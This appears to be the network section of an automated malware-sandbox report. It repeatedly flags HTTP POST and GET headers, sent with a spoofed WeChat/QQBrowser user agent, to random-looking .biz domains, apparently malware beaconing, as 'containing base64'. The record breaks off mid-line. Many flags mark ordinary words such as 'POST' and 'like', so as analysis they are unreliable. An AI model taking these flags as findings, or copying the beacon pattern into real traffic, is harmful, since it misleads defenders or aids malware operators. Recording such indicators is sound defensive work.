"2171" in header "POST /tqya HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: zlenh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "MicroMessenger/6" in header "POST /tqya HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: zlenh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "NetType/WIFI" in header "POST /tqya HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: zlenh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "QBCore/3" in header "POST /tqya HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: zlenh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2524" in header "POST /tqya HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: zlenh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "POST" in header "POST /y HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "Keep" in header "POST /y HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "npukfztj" in header "POST /y HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "like" in header "POST /y HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "2171" in header "POST /y HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "MicroMessenger/6" in header "POST /y HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "NetType/WIFI" in header "POST /y HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "QBCore/3" in header "POST /y HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "2524" in header "POST /y HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "POST" in header "POST /pplvectcusjq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "Keep" in header "POST /pplvectcusjq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "knjghuig" in header "POST /pplvectcusjq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "like" in header "POST /pplvectcusjq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2171" in header "POST /pplvectcusjq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "MicroMessenger/6" in header "POST /pplvectcusjq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "NetType/WIFI" in header "POST /pplvectcusjq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "QBCore/3" in header "POST /pplvectcusjq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2524" in header "POST /pplvectcusjq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "POST" in header "POST /igmxsqualglndix HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "/igmxsqualglndix" in header "POST /igmxsqualglndix HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "Keep" in header "POST /igmxsqualglndix HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "like" in header "POST /igmxsqualglndix HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "2171" in header "POST /igmxsqualglndix HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "MicroMessenger/6" in header "POST /igmxsqualglndix HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "NetType/WIFI" in header "POST /igmxsqualglndix HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "QBCore/3" in header "POST /igmxsqualglndix HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "2524" in header "POST /igmxsqualglndix HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "POST" in header "POST /au HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "Keep" in header "POST /au HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "anpmnmxo" in header "POST /au HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "like" in header "POST /au HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2171" in header "POST /au HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "MicroMessenger/6" in header "POST /au HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "NetType/WIFI" in header "POST /au HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "QBCore/3" in header "POST /au HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2524" in header "POST /au HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "Keep" in header "GET /au HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "like" in header "GET /au HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "2171" in header "GET /au HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "MicroMessenger/6" in header "GET /au HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "NetType/WIFI" in header "GET /au HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "QBCore/3" in header "GET /au HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "2524" in header "GET /au HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "anpmnmxo" in header "GET /au HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Host: www.anpmnmxo.biz" Contains base64 string in header "POST" in header "POST /yymyxonoujelnhpb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: zlenh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "Keep" in header "POST /yymyxonoujelnhpb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: zlenh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "like" in header "POST /yymyxonoujelnhpb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: zlenh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "2171" in header "POST /yymyxonoujelnhpb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: zlenh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "MicroMessenger/6" in header "POST /yymyxonoujelnhpb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: zlenh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "NetType/WIFI" in header "POST /yymyxonoujelnhpb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: zlenh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "QBCore/3" in header "POST /yymyxonoujelnhpb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: zlenh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "2524" in header "POST /yymyxonoujelnhpb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: zlenh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 860" Contains base64 string in header "POST" in header "POST /ytenqmpsyaxmintj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "Keep" in header "POST /ytenqmpsyaxmintj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "anpmnmxo" in header "POST /ytenqmpsyaxmintj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "like" in header "POST /ytenqmpsyaxmintj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2171" in header "POST /ytenqmpsyaxmintj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "MicroMessenger/6" in header "POST /ytenqmpsyaxmintj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "NetType/WIFI" in header "POST /ytenqmpsyaxmintj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "QBCore/3" in header "POST /ytenqmpsyaxmintj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "2524" in header "POST /ytenqmpsyaxmintj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: anpmnmxo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 858" Contains base64 string in header "Keep" in header "GET /ytenqmpsyaxmintj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) 